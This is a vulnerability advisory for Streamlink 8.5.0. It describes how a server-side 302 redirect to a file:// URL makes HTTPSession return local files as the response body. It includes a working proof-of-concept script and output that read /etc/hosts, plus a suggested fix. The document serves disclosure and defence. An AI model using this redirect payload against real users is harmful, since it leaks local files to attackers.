PYSEC-2026-4172

Summary

HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling unchanged from requests.Session. requests does not check for scheme downgrades or cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can be redirected by the remote server into file:///... and the local file is returned as the response body.

GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch time. The attack surface is the same one that advisory describes, but the flaw is one level down in HTTPSession rather than in the streaming implementations, so it applies to every request the session makes and not only to segment and manifest fetches.

Affected version

Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on Python 3.12).

Attacker model

The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No privileges on the victim host and no file:// input are required, and the file:// scheme never appears in anything the victim or the manifest parser sees.

Proof of concept, executed

import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/segment":
            self.send_response(302)
            self.send_header("Location", "file:///etc/hosts")
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, *a):
        pass

srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()

s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested   http://127.0.0.1:%d/segment" % port)
print("final_url  ", res.url)
print("status     ", res.status_code)
print("content    ", res.content[:40])
srv.shutdown()

Output:

requested   http://127.0.0.1:52205/segment
final_url   file:///etc/hosts
status      200
content     b'##\n# Host Database\n#\n# localhost is used'

The request goes out over http, the response comes back from the local filesystem, and nothing in between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts returns that file's contents into whatever consumes the response, which for a segment fetch means the file is written into the stream output.

Suggested fix

Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it on the session rather than through a response hook keeps plugin authors from removing the check by overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own scheme.

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.